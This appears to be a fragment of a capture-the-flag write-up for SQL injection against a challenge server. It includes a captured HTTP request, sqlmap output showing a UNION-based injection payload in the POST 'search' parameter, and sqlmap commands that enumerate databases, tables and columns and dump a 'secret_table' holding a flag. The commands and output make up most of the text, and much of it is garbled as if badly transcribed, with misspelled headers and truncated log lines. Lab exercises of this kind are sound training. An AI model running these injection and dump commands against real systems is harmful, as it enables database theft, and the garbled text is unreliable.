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Host: 111.198.29.45:50020

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4, rv:E7.0) Gecko/20100101
Firefox/er.0

Accept: text/html application/shtml+xml application/xml;q=0.9 % q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 ,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http:/111.198.29 45:50020/

Caontent-Type: application/c-www-form-urlencoded

Content-Length: 8

Connection: close

Upgrade-Insecure-Requests: 1
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SR SR
-r REQUESTFILE Load HTTP request from a file

sqlmap -r xctfrequest.txt --dbs

Parameter: search (POST)
Type: UNION query
Titl ic UNION query (NULL) - 3 columns
EVAGE] rch=1' UNION ALL SELECT NULL,NULL,CONCAT(CONCAT('qzvbqg','zANyapEUwWFIWFRtEFacgSJsnsLKDDrrvHkqCMGXK'), 'qjxjq')-- uQFj

110 ] testing MysSQL
110 ] confirming MysQL
1 [INFO] the back-end DBMS is MySQL
server operating n: Linux ian 9.0 (stretch)
Apache SZ5
.-end DBMS:

10
railable datab
*] information
ted during run:

to text files under

[*] shutting down at 18:45:39
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sqlmap -r xctfrequest.txt -D news --tables
sqlmap -r xctfrequest.txt -D news -T secret_table --columns
sqlmap -r xctfrequest.txt -D news -T secret_table -C "id,fl4g" --dump
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sqlmap -r xctfrequest.txt -D news --dump
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